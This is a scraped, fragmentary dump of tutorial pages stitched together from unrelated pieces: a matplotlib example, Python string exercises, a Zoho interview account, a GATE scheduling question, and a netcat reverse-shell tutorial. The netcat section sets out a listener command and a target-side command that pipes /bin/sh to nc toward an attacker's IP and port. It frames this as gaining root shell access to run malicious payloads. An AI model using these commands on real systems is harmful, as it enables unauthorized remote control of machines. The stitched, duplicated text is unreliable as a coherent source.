Ellipse NUM = 200 ells = [Ellipse(xy = np.random.rand(2) * 10, width = np.random.rand(), height = np.random.rand(), angle = np.random.rand() * 360) for i in range(NUM)] fig, ax = plt.subplots(subplot_kw ={'aspect': 'equal'}) for e in ells: ax.add_artist(e) e.set_clip_box(ax.bbox) e.set_alpha(np.random.rand()) e.set_facecolor(np.random.rand(4)) ax.set_xlim(3, 7)ax.set_ylim(3, 7) fig.suptitle('matplotlib.axes.Axes.set_alpha()\\ function Example\\n\\n', fontweight =\"bold\") plt.show()", "e": 27575, "s": 26893, "text": null }, { "code": null, "e": 27583, "s": 27575, "text": "Output:" }, { "code": null, "e": 27605, "s": 27583, "text": "Matplotlib axes-class" }, { "code": null, "e": 27623, "s": 27605, "text": "Python-matplotlib" }, { "code": null, "e": 27630, "s": 27623, "text": "Python" }, { "code": null, "e": 27728, "s": 27630, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 27746, "s": 27728, "text": "Python Dictionary" }, { "code": null, "e": 27781, "s": 27746, "text": "Read a file line by line in Python" }, { "code": null, "e": 27813, "s": 27781, "text": "How to Install PIP on Windows ?" }, { "code": null, "e": 27835, "s": 27813, "text": "Enumerate() in Python" }, { "code": null, "e": 27877, "s": 27835, "text": "Different ways to create Pandas Dataframe" }, { "code": null, "e": 27907, "s": 27877, "text": "Iterate over a list in Python" }, { "code": null, "e": 27933, "s": 27907, "text": "Python String | replace()" }, { "code": null, "e": 27962, "s": 27933, "text": "*args and **kwargs in Python" }, { "code": null, "e": 28006, "s": 27962, "text": "Reading and Writing to text files in Python" } ]
Python Program to convert String to Uppercase under the Given Condition - GeeksforGeeks
02 Feb, 2021 Given a String list, the task is to write a Python program to convert uppercase strings if length is greater than K. Examples: Input : test_list = [“Gfg”, “is”, “best”, “for”, “geeks”], K = 3 Output : [‘Gfg’, ‘is’, ‘BEST’, ‘for’, ‘GEEKS’] Explanation : Best has 4 chars, hence BEST is uppercased. Input : test_list = [“Gfg”, “is”, “best”, “for”, “geeks”], K = 4 Output : [‘Gfg’, ‘is’, ‘best’, ‘for’, ‘GEEKS’] Explanation : geeks has 5 chars [greater than 4], hence GEEKS is uppercased. Method #1 : Using upper() + loop In this, we perform task of uppercasing using upper(), and conditional statements for greater is checked using loop. Python3 # Python3 code to demonstrate working of# Conditional Uppercase by size# Using upper() + loop # initializing listtest_list = ["Gfg", "is", "best", "for", "geeks"] # printing original listprint("The original list is : " + str(test_list)) # initializing K K = 3 res = []for ele in test_list: # check for size if len(ele) > K: res.append(ele.upper()) else: res.append(ele) # printing resultprint("Modified Strings : " + str(res)) Output: The original list is : ['Gfg', 'is', 'best', 'for', 'geeks'] Modified Strings : ['Gfg', 'is', 'BEST', 'for', 'GEEKS'] Method #2 : Using list comprehension In this, task of iteration is performed inside list comprehension to act as shorthand to similar method as above. Python3 # Python3 code to demonstrate working of# Conditional Uppercase by size# Using list comprehension # initializing listtest_list = ["Gfg", "is", "best", "for", "geeks"] # printing original listprint("The original list is : " + str(test_list)) # initializing K K = 3 # list comprehension for one liner solutionres = [ele.upper() if len(ele) > K else ele for ele in test_list] # printing resultprint("Modified Strings : " + str(res)) Output: The original list is : ['Gfg', 'is', 'best', 'for', 'geeks'] Modified Strings : ['Gfg', 'is', 'BEST', 'for', 'GEEKS'] Python list-programs Python string-programs Python Python Programs Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. How to Install PIP on Windows ? Check if element exists in list in Python How To Convert Python Dictionary To JSON? How to drop one or multiple columns in Pandas Dataframe Python Classes and Objects Defaultdict in Python Python | Get dictionary keys as a list Python | Split string into list of characters Python | Convert a list to dictionary How to print without newline in Python?
[ { "code": null, "e": 25562, "s": 25534, "text": "\n02 Feb, 2021" }, { "code": null, "e": 25679, "s": 25562, "text": "Given a String list, the task is to write a Python program to convert uppercase strings if length is greater than K." }, { "code": null, "e": 25689, "s": 25679, "text": "Examples:" }, { "code": null, "e": 25754, "s": 25689, "text": "Input : test_list = [“Gfg”, “is”, “best”, “for”, “geeks”], K = 3" }, { "code": null, "e": 25801, "s": 25754, "text": "Output : [‘Gfg’, ‘is’, ‘BEST’, ‘for’, ‘GEEKS’]" }, { "code": null, "e": 25859, "s": 25801, "text": "Explanation : Best has 4 chars, hence BEST is uppercased." }, { "code": null, "e": 25924, "s": 25859, "text": "Input : test_list = [“Gfg”, “is”, “best”, “for”, “geeks”], K = 4" }, { "code": null, "e": 25971, "s": 25924, "text": "Output : [‘Gfg’, ‘is’, ‘best’, ‘for’, ‘GEEKS’]" }, { "code": null, "e": 26048, "s": 25971, "text": "Explanation : geeks has 5 chars [greater than 4], hence GEEKS is uppercased." }, { "code": null, "e": 26081, "s": 26048, "text": "Method #1 : Using upper() + loop" }, { "code": null, "e": 26198, "s": 26081, "text": "In this, we perform task of uppercasing using upper(), and conditional statements for greater is checked using loop." }, { "code": null, "e": 26206, "s": 26198, "text": "Python3" }, { "code": "# Python3 code to demonstrate working of# Conditional Uppercase by size# Using upper() + loop # initializing listtest_list = [\"Gfg\", \"is\", \"best\", \"for\", \"geeks\"] # printing original listprint(\"The original list is : \" + str(test_list)) # initializing K K = 3 res = []for ele in test_list: # check for size if len(ele) > K: res.append(ele.upper()) else: res.append(ele) # printing resultprint(\"Modified Strings : \" + str(res))", "e": 26667, "s": 26206, "text": null }, { "code": null, "e": 26675, "s": 26667, "text": "Output:" }, { "code": null, "e": 26793, "s": 26675, "text": "The original list is : ['Gfg', 'is', 'best', 'for', 'geeks']\nModified Strings : ['Gfg', 'is', 'BEST', 'for', 'GEEKS']" }, { "code": null, "e": 26830, "s": 26793, "text": "Method #2 : Using list comprehension" }, { "code": null, "e": 26944, "s": 26830, "text": "In this, task of iteration is performed inside list comprehension to act as shorthand to similar method as above." }, { "code": null, "e": 26952, "s": 26944, "text": "Python3" }, { "code": "# Python3 code to demonstrate working of# Conditional Uppercase by size# Using list comprehension # initializing listtest_list = [\"Gfg\", \"is\", \"best\", \"for\", \"geeks\"] # printing original listprint(\"The original list is : \" + str(test_list)) # initializing K K = 3 # list comprehension for one liner solutionres = [ele.upper() if len(ele) > K else ele for ele in test_list] # printing resultprint(\"Modified Strings : \" + str(res))", "e": 27387, "s": 26952, "text": null }, { "code": null, "e": 27395, "s": 27387, "text": "Output:" }, { "code": null, "e": 27513, "s": 27395, "text": "The original list is : ['Gfg', 'is', 'best', 'for', 'geeks']\nModified Strings : ['Gfg', 'is', 'BEST', 'for', 'GEEKS']" }, { "code": null, "e": 27534, "s": 27513, "text": "Python list-programs" }, { "code": null, "e": 27557, "s": 27534, "text": "Python string-programs" }, { "code": null, "e": 27564, "s": 27557, "text": "Python" }, { "code": null, "e": 27580, "s": 27564, "text": "Python Programs" }, { "code": null, "e": 27678, "s": 27580, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 27710, "s": 27678, "text": "How to Install PIP on Windows ?" }, { "code": null, "e": 27752, "s": 27710, "text": "Check if element exists in list in Python" }, { "code": null, "e": 27794, "s": 27752, "text": "How To Convert Python Dictionary To JSON?" }, { "code": null, "e": 27850, "s": 27794, "text": "How to drop one or multiple columns in Pandas Dataframe" }, { "code": null, "e": 27877, "s": 27850, "text": "Python Classes and Objects" }, { "code": null, "e": 27899, "s": 27877, "text": "Defaultdict in Python" }, { "code": null, "e": 27938, "s": 27899, "text": "Python | Get dictionary keys as a list" }, { "code": null, "e": 27984, "s": 27938, "text": "Python | Split string into list of characters" }, { "code": null, "e": 28022, "s": 27984, "text": "Python | Convert a list to dictionary" } ]
Zoho Interview Experience - GeeksforGeeks
06 Jul, 2021 Hii, I have recently attended the Zoho On-Campus interview. ROUND 1(APTITUDE AND C MCQ’S): In the first round, they have conduct the test for 1 hour. In that, they are two parts apditude and C mcqs . It is very easy to clear. then, I have cleared the first round and selected for the second round. ROUND 2(BASIC PROGRAMMING): In this round they have given 3 sets, each set contains 2 questions. when you finish the first set, the second set will be given. Questions asked were: A ball is dropped from a height H (meters), it bounces back to a height of B*H where B is the bouncing factor and 0<B<1. Calculate the total distance travelled by the ball before coming to rest while dropped from a height H on a surface with a bouncing factor of B. When height is less than 1m, ball does not bounce back.Input: H=5, B=0.5​ Output: 12.5 Explanation : 5 + 2.5 + 2.5 + 1.25 + 1.25 Replace the characters in a string based on the transformation: A -> Z, B->Y, C->X and so on​Input: FADE​ Output: UZWV Given an array, fill the alternate duplicate elements by 0.Input 1: 2 2 2 2 Output 1: 2 0 2 0 Input 2: 1 2 2 5 6 9 5 2 Output 2: 1 2 0 5 6 9 0 2 Given 2 strings A and B, check if swapping 2 characters only once in string ‘A’ makes the string equal to ‘B’.Input: A = flrweo B = flower​ Output: True While typing, it is possible to press a key long enough that it could get typed more than once. Given two strings A and B, check if B could be a typed version of A.Input 1: A = anime B = aanimeee​ Output 1: True Input 2: A = Limcee B = Limmcce​ Output 2: False Given a matrix M of dimension A x B containing 0’s and 1’s, find out the number of positions at which the value is 1 and other elements in its corresponding rows and columns are all 0.Input 1: A = 3, B = 3 100 M = 001 010 Output 1: 3 Input 2: A = 3, B = 3 100 M = 001 100 Output 2: 1 A ball is dropped from a height H (meters), it bounces back to a height of B*H where B is the bouncing factor and 0<B<1. Calculate the total distance travelled by the ball before coming to rest while dropped from a height H on a surface with a bouncing factor of B. When height is less than 1m, ball does not bounce back.Input: H=5, B=0.5​ Output: 12.5 Explanation : 5 + 2.5 + 2.5 + 1.25 + 1.25 Input: H=5, B=0.5​ Output: 12.5 Explanation : 5 + 2.5 + 2.5 + 1.25 + 1.25 Replace the characters in a string based on the transformation: A -> Z, B->Y, C->X and so on​Input: FADE​ Output: UZWV Input: FADE​ Output: UZWV Given an array, fill the alternate duplicate elements by 0.Input 1: 2 2 2 2 Output 1: 2 0 2 0 Input 2: 1 2 2 5 6 9 5 2 Output 2: 1 2 0 5 6 9 0 2 Input 1: 2 2 2 2 Output 1: 2 0 2 0 Input 2: 1 2 2 5 6 9 5 2 Output 2: 1 2 0 5 6 9 0 2 Given 2 strings A and B, check if swapping 2 characters only once in string ‘A’ makes the string equal to ‘B’.Input: A = flrweo B = flower​ Output: True Input: A = flrweo B = flower​ Output: True While typing, it is possible to press a key long enough that it could get typed more than once. Given two strings A and B, check if B could be a typed version of A.Input 1: A = anime B = aanimeee​ Output 1: True Input 2: A = Limcee B = Limmcce​ Output 2: False Input 1: A = anime B = aanimeee​ Output 1: True Input 2: A = Limcee B = Limmcce​ Output 2: False Given a matrix M of dimension A x B containing 0’s and 1’s, find out the number of positions at which the value is 1 and other elements in its corresponding rows and columns are all 0.Input 1: A = 3, B = 3 100 M = 001 010 Output 1: 3 Input 2: A = 3, B = 3 100 M = 001 100 Output 2: 1 Input 1: A = 3, B = 3 100 M = 001 010 Output 1: 3 Input 2: A = 3, B = 3 100 M = 001 100 Output 2: 1 In this round, I have finished 5 programs and then I have selected for the third round. ROUND 3(ADVANCED PROGRAMMING): In this round they will be given 1 question, In that question there will be several modules, For me they have asked to create the snake and ladder game .In that there are 5 modules. I have finished the 4 modules and get selected for the fourth round. ROUND 4(TECHNICAL INTERVIEW 1): In this round they have asked about what you mentioned in the resume, this interview has gone for 1 hour. They asked about the oops concept what is mean by JDK and JRE why java is called as compiler-depended Is java is fully object-oriented language or not, why? If you have power to automate anything in the world using program what will automate and why? They asked about the project work done in the college, and they asked about night shift work. In this round they will mostly concentrate on your logical thinking and answer the question confidently. then I have cleared this round. ROUND 5(TECHINCAL INTERVIEW 2): In this round they have asked little bit tough question about which programming language familiar you are. This round gone for 20 minutes. then I have cleared this round also. ROUND 6(HR INTERVIEW): In this round they have asked about the family background and why Zoho, about your long-term goals. Finally, I have cleared this round and got placed in zoho. Finally, this interview is little bit tough, If you work hard definitely you will be placed at one day, Be happy and keep others always happy. Thanks for the GeeksforGeeks to share my interview experience. Hope this will be helpful to others. Marketing Zoho Interview Experiences Zoho Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Amazon Interview Experience for SDE-1 (Off-Campus) Amazon AWS Interview Experience for SDE-1 Amazon Interview Experience for SDE-1 (Off-Campus) 2022 Amazon Interview Experience Amazon Interview Experience for SDE-1 EPAM Interview Experience (Off-Campus) Amazon Interview Experience (Off-Campus) 2022 JPMorgan Chase & Co. Code for Good Internship Interview Experience 2021 Amazon Interview Experience for SDE-1 (On-Campus) Freshworks/Freshdesk Interview Experience for Software Developer (On-Campus)
[ { "code": null, "e": 26261, "s": 26233, "text": "\n06 Jul, 2021" }, { "code": null, "e": 26321, "s": 26261, "text": "Hii, I have recently attended the Zoho On-Campus interview." }, { "code": null, "e": 26412, "s": 26321, "text": "ROUND 1(APTITUDE AND C MCQ’S): In the first round, they have conduct the test for 1 hour. " }, { "code": null, "e": 26463, "s": 26412, "text": "In that, they are two parts apditude and C mcqs . " }, { "code": null, "e": 26561, "s": 26463, "text": "It is very easy to clear. then, I have cleared the first round and selected for the second round." }, { "code": null, "e": 26721, "s": 26561, "text": "ROUND 2(BASIC PROGRAMMING): In this round they have given 3 sets, each set contains 2 questions. when you finish the first set, the second set will be given. " }, { "code": null, "e": 26743, "s": 26721, "text": "Questions asked were:" }, { "code": null, "e": 28176, "s": 26743, "text": "A ball is dropped from a height H (meters), it bounces back to a height of B*H where B is the bouncing factor and 0<B<1. Calculate the total distance travelled by the ball before coming to rest while dropped from a height H on a surface with a bouncing factor of B. When height is less than 1m, ball does not bounce back.Input: \nH=5, B=0.5​\nOutput: \n12.5 \nExplanation : \n5 + 2.5 + 2.5 + 1.25 + 1.25 Replace the characters in a string based on the transformation: A -> Z, B->Y, C->X and so on​Input: \nFADE​\nOutput: \nUZWV Given an array, fill the alternate duplicate elements by 0.Input 1: \n2 2 2 2 \nOutput 1: \n2 0 2 0 \nInput 2: \n1 2 2 5 6 9 5 2 \nOutput 2: \n1 2 0 5 6 9 0 2 Given 2 strings A and B, check if swapping 2 characters only once in string ‘A’ makes the string equal to ‘B’.Input: \nA = flrweo \nB = flower​\nOutput: \nTrue While typing, it is possible to press a key long enough that it could get typed more than once. Given two strings A and B, check if B could be a typed version of A.Input 1: \nA = anime \nB = aanimeee​\nOutput 1: \nTrue \nInput 2: \nA = Limcee \nB = Limmcce​\nOutput 2: \nFalse Given a matrix M of dimension A x B containing 0’s and 1’s, find out the number of positions at which the value is 1 and other elements in its corresponding rows and columns are all 0.Input 1: \nA = 3, B = 3 \n100 \nM = 001 \n010 \nOutput 1: \n3 \nInput 2: \nA = 3, B = 3 \n100 \nM = 001 \n100 \nOutput 2: \n1 " }, { "code": null, "e": 28580, "s": 28176, "text": "A ball is dropped from a height H (meters), it bounces back to a height of B*H where B is the bouncing factor and 0<B<1. Calculate the total distance travelled by the ball before coming to rest while dropped from a height H on a surface with a bouncing factor of B. When height is less than 1m, ball does not bounce back.Input: \nH=5, B=0.5​\nOutput: \n12.5 \nExplanation : \n5 + 2.5 + 2.5 + 1.25 + 1.25 " }, { "code": null, "e": 28663, "s": 28580, "text": "Input: \nH=5, B=0.5​\nOutput: \n12.5 \nExplanation : \n5 + 2.5 + 2.5 + 1.25 + 1.25 " }, { "code": null, "e": 28787, "s": 28663, "text": "Replace the characters in a string based on the transformation: A -> Z, B->Y, C->X and so on​Input: \nFADE​\nOutput: \nUZWV " }, { "code": null, "e": 28818, "s": 28787, "text": "Input: \nFADE​\nOutput: \nUZWV " }, { "code": null, "e": 28979, "s": 28818, "text": "Given an array, fill the alternate duplicate elements by 0.Input 1: \n2 2 2 2 \nOutput 1: \n2 0 2 0 \nInput 2: \n1 2 2 5 6 9 5 2 \nOutput 2: \n1 2 0 5 6 9 0 2 " }, { "code": null, "e": 29081, "s": 28979, "text": "Input 1: \n2 2 2 2 \nOutput 1: \n2 0 2 0 \nInput 2: \n1 2 2 5 6 9 5 2 \nOutput 2: \n1 2 0 5 6 9 0 2 " }, { "code": null, "e": 29243, "s": 29081, "text": "Given 2 strings A and B, check if swapping 2 characters only once in string ‘A’ makes the string equal to ‘B’.Input: \nA = flrweo \nB = flower​\nOutput: \nTrue " }, { "code": null, "e": 29295, "s": 29243, "text": "Input: \nA = flrweo \nB = flower​\nOutput: \nTrue " }, { "code": null, "e": 29571, "s": 29295, "text": "While typing, it is possible to press a key long enough that it could get typed more than once. Given two strings A and B, check if B could be a typed version of A.Input 1: \nA = anime \nB = aanimeee​\nOutput 1: \nTrue \nInput 2: \nA = Limcee \nB = Limmcce​\nOutput 2: \nFalse " }, { "code": null, "e": 29683, "s": 29571, "text": "Input 1: \nA = anime \nB = aanimeee​\nOutput 1: \nTrue \nInput 2: \nA = Limcee \nB = Limmcce​\nOutput 2: \nFalse " }, { "code": null, "e": 29994, "s": 29683, "text": "Given a matrix M of dimension A x B containing 0’s and 1’s, find out the number of positions at which the value is 1 and other elements in its corresponding rows and columns are all 0.Input 1: \nA = 3, B = 3 \n100 \nM = 001 \n010 \nOutput 1: \n3 \nInput 2: \nA = 3, B = 3 \n100 \nM = 001 \n100 \nOutput 2: \n1 " }, { "code": null, "e": 30121, "s": 29994, "text": "Input 1: \nA = 3, B = 3 \n100 \nM = 001 \n010 \nOutput 1: \n3 \nInput 2: \nA = 3, B = 3 \n100 \nM = 001 \n100 \nOutput 2: \n1 " }, { "code": null, "e": 30209, "s": 30121, "text": "In this round, I have finished 5 programs and then I have selected for the third round." }, { "code": null, "e": 30240, "s": 30209, "text": "ROUND 3(ADVANCED PROGRAMMING):" }, { "code": null, "e": 30423, "s": 30240, "text": "In this round they will be given 1 question, In that question there will be several modules, For me they have asked to create the snake and ladder game .In that there are 5 modules. " }, { "code": null, "e": 30492, "s": 30423, "text": "I have finished the 4 modules and get selected for the fourth round." }, { "code": null, "e": 30630, "s": 30492, "text": "ROUND 4(TECHNICAL INTERVIEW 1): In this round they have asked about what you mentioned in the resume, this interview has gone for 1 hour." }, { "code": null, "e": 30664, "s": 30630, "text": "They asked about the oops concept" }, { "code": null, "e": 30693, "s": 30664, "text": "what is mean by JDK and JRE " }, { "code": null, "e": 30733, "s": 30693, "text": "why java is called as compiler-depended" }, { "code": null, "e": 30789, "s": 30733, "text": "Is java is fully object-oriented language or not, why? " }, { "code": null, "e": 30884, "s": 30789, "text": "If you have power to automate anything in the world using program what will automate and why? " }, { "code": null, "e": 31115, "s": 30884, "text": "They asked about the project work done in the college, and they asked about night shift work. In this round they will mostly concentrate on your logical thinking and answer the question confidently. then I have cleared this round." }, { "code": null, "e": 31147, "s": 31115, "text": "ROUND 5(TECHINCAL INTERVIEW 2):" }, { "code": null, "e": 31255, "s": 31147, "text": "In this round they have asked little bit tough question about which programming language familiar you are. " }, { "code": null, "e": 31324, "s": 31255, "text": "This round gone for 20 minutes. then I have cleared this round also." }, { "code": null, "e": 31347, "s": 31324, "text": "ROUND 6(HR INTERVIEW):" }, { "code": null, "e": 31507, "s": 31347, "text": "In this round they have asked about the family background and why Zoho, about your long-term goals. Finally, I have cleared this round and got placed in zoho. " }, { "code": null, "e": 31650, "s": 31507, "text": "Finally, this interview is little bit tough, If you work hard definitely you will be placed at one day, Be happy and keep others always happy." }, { "code": null, "e": 31750, "s": 31650, "text": "Thanks for the GeeksforGeeks to share my interview experience. Hope this will be helpful to others." }, { "code": null, "e": 31760, "s": 31750, "text": "Marketing" }, { "code": null, "e": 31765, "s": 31760, "text": "Zoho" }, { "code": null, "e": 31787, "s": 31765, "text": "Interview Experiences" }, { "code": null, "e": 31792, "s": 31787, "text": "Zoho" }, { "code": null, "e": 31890, "s": 31792, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 31941, "s": 31890, "text": "Amazon Interview Experience for SDE-1 (Off-Campus)" }, { "code": null, "e": 31983, "s": 31941, "text": "Amazon AWS Interview Experience for SDE-1" }, { "code": null, "e": 32039, "s": 31983, "text": "Amazon Interview Experience for SDE-1 (Off-Campus) 2022" }, { "code": null, "e": 32067, "s": 32039, "text": "Amazon Interview Experience" }, { "code": null, "e": 32105, "s": 32067, "text": "Amazon Interview Experience for SDE-1" }, { "code": null, "e": 32144, "s": 32105, "text": "EPAM Interview Experience (Off-Campus)" }, { "code": null, "e": 32190, "s": 32144, "text": "Amazon Interview Experience (Off-Campus) 2022" }, { "code": null, "e": 32262, "s": 32190, "text": "JPMorgan Chase & Co. Code for Good Internship Interview Experience 2021" }, { "code": null, "e": 32312, "s": 32262, "text": "Amazon Interview Experience for SDE-1 (On-Campus)" } ]
GATE | GATE-CS-2014-(Set-3) | Question 65 - GeeksforGeeks
22 Jul, 2021 An operating system uses shortest remaining time first scheduling algorithm for pre-emptive scheduling of processes. Consider the following set of processes with their arrival times and CPU burst times (in milliseconds): Process Arrival Time Burst Time P1 0 12 P2 2 4 P3 3 6 P4 8 5 The average waiting time (in milliseconds) of the processes is _________.(A) 4.5(B) 5.0(C) 5.5(D) 6.5Answer: (C)Explanation: Process Arrival Time Burst Time P1 0 12 P2 2 4 P3 3 6 P4 8 5 Burst Time – The total time needed by a process from the CPU for its complete execution. Waiting Time – How much time processes spend in the ready queue waiting their turn to get on the CPU Now, The Gantt chart for the above processes is : P1 - 0 to 2 milliseconds P2 - 2 to 6 milliseconds P3 - 6 to 12 milliseconds P4 - 12 to 17 milliseconds P1 - 17 to 27 milliseconds Process p1 arrived at time 0, hence cpu started executing it. After 2 units of time P2 arrives and burst time of P2 was 4 units, and the remaining time of the process p1 was 10 units,hence cpu started executing P2, putting P1 in waiting state(Pre-emptive and Shortest remaining time first scheduling). Due to P1’s highest remaining time it was executed by the cpu in the end. Now calculating the waiting time of each process: P1 -> 17 -2 = 15 P2 -> 0 P3 -> 6 - 3 = 3 P4 -> 12 - 8 = 4 Hence total waiting time of all the processes is = 15+0+3+4=22 Total no of processes = 4 Average waiting time = 22 / 4 = 5.5 Hence C is the answer. Watch GeeksforGeeks video Explanation : YouTubeGeeksforGeeks GATE Computer Science16.4K subscribersCPU Scheduling GATE Previous Year Questions Part-II with Viomesh SinghWatch laterShareCopy linkInfoShoppingTap to unmuteIf playback doesn't begin shortly, try restarting your device.You're signed outVideos you watch may be added to the TV's watch history and influence TV recommendations. To avoid this, cancel and sign in to YouTube on your computer.CancelConfirmMore videosMore videosSwitch cameraShareInclude playlistAn error occurred while retrieving sharing information. Please try again later.Watch on0:000:0020:07 / 49:57•Live•<div class="player-unavailable"><h1 class="message">An error occurred.</h1><div class="submessage"><a href="https://www.youtube.com/watch?v=maVQoJuMAlM" target="_blank">Try watching this video on www.youtube.com</a>, or enable JavaScript if it is disabled in your browser.</div></div>Quiz of this Question GATE-CS-2014-(Set-3) GATE-GATE-CS-2014-(Set-3) GATE Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. GATE | Gate IT 2007 | Question 25 GATE | GATE-CS-2001 | Question 39 GATE | GATE-CS-2000 | Question 41 GATE | GATE-CS-2005 | Question 6 GATE | GATE MOCK 2017 | Question 21 GATE | GATE MOCK 2017 | Question 24 GATE | GATE-CS-2006 | Question 47 GATE | Gate IT 2008 | Question 43 GATE | GATE-CS-2009 | Question 38 GATE | GATE-CS-2003 | Question 90
[ { "code": null, "e": 25473, "s": 25445, "text": "\n22 Jul, 2021" }, { "code": null, "e": 25694, "s": 25473, "text": "An operating system uses shortest remaining time first scheduling algorithm for pre-emptive scheduling of processes. Consider the following set of processes with their arrival times and CPU burst times (in milliseconds):" }, { "code": null, "e": 25867, "s": 25694, "text": "Process Arrival Time Burst Time\n P1 0 12\n P2 2 4\n P3 3 6\n P4 8 5" }, { "code": null, "e": 25992, "s": 25867, "text": "The average waiting time (in milliseconds) of the processes is _________.(A) 4.5(B) 5.0(C) 5.5(D) 6.5Answer: (C)Explanation:" }, { "code": null, "e": 26146, "s": 25992, "text": "Process Arrival Time Burst Time\n P1 0 12\n P2 2 4\n P3 3 6\n P4 8 5 " }, { "code": null, "e": 26235, "s": 26146, "text": "Burst Time – The total time needed by a process from the CPU for its complete execution." }, { "code": null, "e": 26336, "s": 26235, "text": "Waiting Time – How much time processes spend in the ready queue waiting their turn to get on the CPU" }, { "code": null, "e": 26386, "s": 26336, "text": "Now, The Gantt chart for the above processes is :" }, { "code": null, "e": 26522, "s": 26386, "text": "\nP1 - 0 to 2 milliseconds\n\nP2 - 2 to 6 milliseconds\n\nP3 - 6 to 12 milliseconds\n\nP4 - 12 to 17 milliseconds\n\nP1 - 17 to 27 milliseconds " }, { "code": null, "e": 26584, "s": 26522, "text": "Process p1 arrived at time 0, hence cpu started executing it." }, { "code": null, "e": 26824, "s": 26584, "text": "After 2 units of time P2 arrives and burst time of P2 was 4 units, and the remaining time of the process p1 was 10 units,hence cpu started executing P2, putting P1 in waiting state(Pre-emptive and Shortest remaining time first scheduling)." }, { "code": null, "e": 26898, "s": 26824, "text": "Due to P1’s highest remaining time it was executed by the cpu in the end." }, { "code": null, "e": 27195, "s": 26898, "text": "Now calculating the waiting time of each process:\nP1 -> 17 -2 = 15\nP2 -> 0\nP3 -> 6 - 3 = 3\nP4 -> 12 - 8 = 4 \n\nHence total waiting time of all the processes is \n = 15+0+3+4=22\nTotal no of processes = 4\nAverage waiting time = 22 / 4 = 5.5\nHence C is the answer. " }, { "code": null, "e": 27235, "s": 27195, "text": "Watch GeeksforGeeks video Explanation :" }, { "code": null, "e": 28134, "s": 27235, "text": "YouTubeGeeksforGeeks GATE Computer Science16.4K subscribersCPU Scheduling GATE Previous Year Questions Part-II with Viomesh SinghWatch laterShareCopy linkInfoShoppingTap to unmuteIf playback doesn't begin shortly, try restarting your device.You're signed outVideos you watch may be added to the TV's watch history and influence TV recommendations. To avoid this, cancel and sign in to YouTube on your computer.CancelConfirmMore videosMore videosSwitch cameraShareInclude playlistAn error occurred while retrieving sharing information. Please try again later.Watch on0:000:0020:07 / 49:57•Live•<div class=\"player-unavailable\"><h1 class=\"message\">An error occurred.</h1><div class=\"submessage\"><a href=\"https://www.youtube.com/watch?v=maVQoJuMAlM\" target=\"_blank\">Try watching this video on www.youtube.com</a>, or enable JavaScript if it is disabled in your browser.</div></div>Quiz of this Question" }, { "code": null, "e": 28155, "s": 28134, "text": "GATE-CS-2014-(Set-3)" }, { "code": null, "e": 28181, "s": 28155, "text": "GATE-GATE-CS-2014-(Set-3)" }, { "code": null, "e": 28186, "s": 28181, "text": "GATE" }, { "code": null, "e": 28284, "s": 28186, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 28318, "s": 28284, "text": "GATE | Gate IT 2007 | Question 25" }, { "code": null, "e": 28352, "s": 28318, "text": "GATE | GATE-CS-2001 | Question 39" }, { "code": null, "e": 28386, "s": 28352, "text": "GATE | GATE-CS-2000 | Question 41" }, { "code": null, "e": 28419, "s": 28386, "text": "GATE | GATE-CS-2005 | Question 6" }, { "code": null, "e": 28455, "s": 28419, "text": "GATE | GATE MOCK 2017 | Question 21" }, { "code": null, "e": 28491, "s": 28455, "text": "GATE | GATE MOCK 2017 | Question 24" }, { "code": null, "e": 28525, "s": 28491, "text": "GATE | GATE-CS-2006 | Question 47" }, { "code": null, "e": 28559, "s": 28525, "text": "GATE | Gate IT 2008 | Question 43" }, { "code": null, "e": 28593, "s": 28559, "text": "GATE | GATE-CS-2009 | Question 38" } ]
How to Create Reverse Shells with Netcat in Kali Linux? - GeeksforGeeks
30 Jun, 2020 Netcat is a command in Linux which is used to perform port listening, port redirection, port checking, or even network testing. Netcat is also called a swiss army knife of networking tools. This command is also used to create a reverse shell. Before getting in depth of reverse shell one must be aware of what exactly is netcat tool. To know more, you can go through the article netcat command. Generally, in order to hack into a system, an attacker tries to gain shell access to execute the malicious payload commands. The gained shell is called the reverse shell which could be used by an attacker as a root user and the attacker could do anything out of it. During the whole process, the attacker’s machine acts as a server that waits for an incoming connection, and that connection comes along with a shell. 1. Setup a listener: The very first step is to set up a listener on the attacker’s machine in order to act as a server and to listen to the incoming connections. Use the following command to start listening. nc –nlvp 5555 Replace the port number 5555 with the port you want to receive the connection on. This will start the listener on the port 5555. 2. Receive connection along with a shell from target: Now as we have started listening, it’s time to execute a basic payload at the target so that we could get a reverse shell. Use the following command to send the request to the attacker. /bin/sh | nc 127.0.0.1 5555 Replace 127.0.0.1 with the host IP of the attacker and 5555 with the attacker’s port. This will give a reverse shell to the attacker which attacker could use to execute any command. 3. Executing a command through shell: Now if we enter any command at the receiver’s terminal the output would be displayed on the attacker’s terminal. Kali-Linux Linux-Unix Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. ZIP command in Linux with examples TCP Server-Client implementation in C SORT command in Linux/Unix with examples tar command in Linux with examples curl command in Linux with Examples Conditional Statements | Shell Script 'crontab' in Linux with Examples diff command in Linux with examples UDP Server-Client implementation in C Tail command in Linux with examples
[ { "code": null, "e": 26085, "s": 26057, "text": "\n30 Jun, 2020" }, { "code": null, "e": 26480, "s": 26085, "text": "Netcat is a command in Linux which is used to perform port listening, port redirection, port checking, or even network testing. Netcat is also called a swiss army knife of networking tools. This command is also used to create a reverse shell. Before getting in depth of reverse shell one must be aware of what exactly is netcat tool. To know more, you can go through the article netcat command." }, { "code": null, "e": 26897, "s": 26480, "text": "Generally, in order to hack into a system, an attacker tries to gain shell access to execute the malicious payload commands. The gained shell is called the reverse shell which could be used by an attacker as a root user and the attacker could do anything out of it. During the whole process, the attacker’s machine acts as a server that waits for an incoming connection, and that connection comes along with a shell." }, { "code": null, "e": 27105, "s": 26897, "text": "1. Setup a listener: The very first step is to set up a listener on the attacker’s machine in order to act as a server and to listen to the incoming connections. Use the following command to start listening." }, { "code": null, "e": 27119, "s": 27105, "text": "nc –nlvp 5555" }, { "code": null, "e": 27201, "s": 27119, "text": "Replace the port number 5555 